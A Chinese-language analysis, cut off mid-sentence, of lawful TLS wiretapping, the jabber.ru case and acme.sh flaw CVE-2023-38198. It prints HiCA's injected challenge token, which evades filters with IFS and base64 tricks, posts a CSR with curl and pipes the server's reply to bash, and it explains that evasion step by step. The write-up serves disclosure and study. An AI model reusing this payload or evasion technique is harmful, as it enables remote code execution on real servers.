合法 TLS 窃听的并行重构：从漏洞利用到操作失误的深度解析

背景

传输层安全协议（TLS）是确保浏览器地址栏出现“锁”图标背后的核心协议。从技术底层来看，TLS 依赖于复杂的数学机制进行加密。在这一体系中，某些数字被视为私有的，需要严格保密；而另一些则是公开的，可以安全共享。通过将这些数字与其他人的数字以特定方式混合，可以验证一条信任链。

在这条信任链的顶端，必须存在一个或多个被默认为可信的实体，以便链下层的链接能够继承这种信任。这就是根证书颁发机构（Root CA）在信任链顶端所扮演的角色。

尽管上述解释省略了 TLS 和 CA 信任机制中大量的细微差别和细节，但理解其预期工作原理对于实际操作的影响微乎其微。事实上，基于根 CA 签名的合法 TLS 窃听（Lawful TLS Wiretapping）不仅存在，而且有确凿证据表明它确实发生过。

这一事实往往会让人们感到不适，因为它打破了“互联网完全私密”的幻想。然而，如果理解了背后的机制，就会发现一些极具讽刺意味的现象：例如，某次大规模的用户警告页面事件，很可能仅仅是因为操作者忘记续期用于合法拦截的 TLS 证书所致。这种因疏忽而暴露行动的方式，在安全领域堪称一种“荒诞的幽默”。

本文旨在利用“事后诸葛亮”的视角，结合对 2023 年系统环境的分析，尝试还原并演示合法 TLS 窃听在技术上是如何实际运作的，特别是围绕 acme.sh 工具在 2023 年 4 月 18 日附近发生的关键事件。

核心内容

1. 事件溯源与 acme.sh 的角色

分析的核心线索指向 2023 年 4 月 18 日左右的事件，关键参与者是 acme.sh。

• ACME 协议与 acme.sh：ACME（Automated Certificate Management Environment）是一种用于从证书颁发机构获取和续期 TLS 证书的协议。acme.sh 是一个基于 Shell 脚本的可执行文件，用于自动化这一过程。
• jabber.ru 服务器案例：在 jabber.ru 服务器上，acme.sh 被用于协助 TLS 证书的续期。通常，这类脚本会按定时器运行，在证书过期前自动续期。
• 时间线重合：2023 年 6 月 8 日披露了一个远程代码执行（RCE）漏洞，分配了 CVE ID CVE-2023-38198，补丁于 6 月 9 日发布。然而，在 2023 年 4 月 18 日，jabber.ru 服务器运行的 acme.sh 版本存在该漏洞。这一时间上的重合暗示了潜在的相关性。

2. 漏洞利用分析：CVE-2023-38198

在 GitHub 上首次披露该漏洞的问题中，指出该漏洞被一家名为 HiCA 的证书颁发机构滥用，用于签发证书。

• 攻击载荷特征：GitHub 上展示的 Payload 充满了 Shell 插值（Shell interpolation）的技巧，旨在绕过过滤字符以执行恶意操作。
• 数据结构异常：Challenge 对象（挑战对象）看起来非常不寻常。以下是一个经过轻微格式化的示例，展示了 Token 字段中嵌入的复杂逻辑：

{
  Type: http-01,
  URL: ../pki-validation,
  Status: pending,
  Token: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#,
  KeyAuthorization: ...
}

• 漏洞本质：该漏洞的核心在于 ACME 客户端在处理数据时，网络上的原始数据与日志/调试表示之间的差异。虽然调试日志中的内容接近原始数据，但为了重现漏洞，必须理解其背后的命令注入机制。
• 最终效果：尽管 Payload 看起来复杂且充满“噪音”，但其最终目的似乎是促进 PKI 验证（证书签发的一步），这在技术上是良性的，但手段是通过 RCE 实现的。

3. 技术复现的困境与“如何”实现

作者尝试复现该漏洞，但遇到了重大障碍：

• IFS 技巧的失效：Payload 中使用了 IFS=^（将输入字段分隔符设置为 ^）来打包嵌套命令，从而在不使用空格的情况下执行命令。然而，作者经过两个晚上的调试，发现无法在任何系统上成功复现这一技巧。ACME 协议的前处理层过于复杂，直接使用该技巧无法获得远程代码执行权限。
• 两种可能性：
  1. 作者未能理解如何绕过过滤器。
  2. HiCA 在 GitHub 披露的时间线内，实际上正在动态调整或测试不同的 Payload。
• 讽刺的细节：HiCA 作为一家安全公司，却熟练运用了通常被僵尸网络（如 Mirai 变种）操作员滥用的 IFS 过滤绕过技巧，但最终目的却是执行预期的良性操作（签发证书）。

4. 作者的重构尝试（DIY）

尽管未能完全复现原始漏洞，作者推测了 acme.sh 中 Token 响应的预期机制：

1. 设置输入字段分隔符为 ^：IFS=^;
2. 定义变量 cmd 为 base64 -d：cmd=base64^-d;
3. 重定向 Base64 编码的空格字符 IA== 到 cmd 以产生空格：$cmd<<<IA==
4. 重定向 Base64 编码的 :// 字符 Oi8v 以生成 curl 所需的字符。

这些技巧旨在通过 Base64 编码绕过空格过滤，但在实际 ACME 客户端的处理流程中，由于预处理层的存在，这种直接注入方式往往失效。

关键要点

• 合法窃听确实存在：基于根 CA 签名的合法 TLS 窃听是现实存在的操作，并非阴谋论。
• 操作失误暴露行动：2023 年发生的用户端大规模 TLS 警告，极有可能是因为合法拦截系统的证书续期失败（如忘记续期）所致，这反而引发了对窃听操作的调查。
• acme.sh 漏洞 CVE-2023-38198：该漏洞允许通过 ACME 协议的 http-01 挑战类型进行远程代码执行。
• HiCA 的滥用行为：证书颁发机构 HiCA 被观察到滥用此漏洞，通过复杂的 Shell 插值和 Base64 编码技巧绕过过滤器，以签发证书。
• 复现难度极高：原始 Payload 中使用的 IFS 过滤绕过技巧在标准环境中难以复现，暗示攻击者可能在动态调整攻击载荷，或者利用了特定环境下的未公开行为。
• 安全工具的脆弱性：即使是用于自动化证书管理的 Shell 脚本工具（如 acme.sh），如果存在 RCE 漏洞，也可能被恶意利用，甚至被安全公司自身用于非常规操作。

意义与影响

1. 对“端到端加密”神话的解构

TLS 的普及给用户带来了“加密即安全”的错觉。然而，本文揭示了一个关键事实：只要信任链顶端的根 CA 被妥协或被授权用于合法拦截，TLS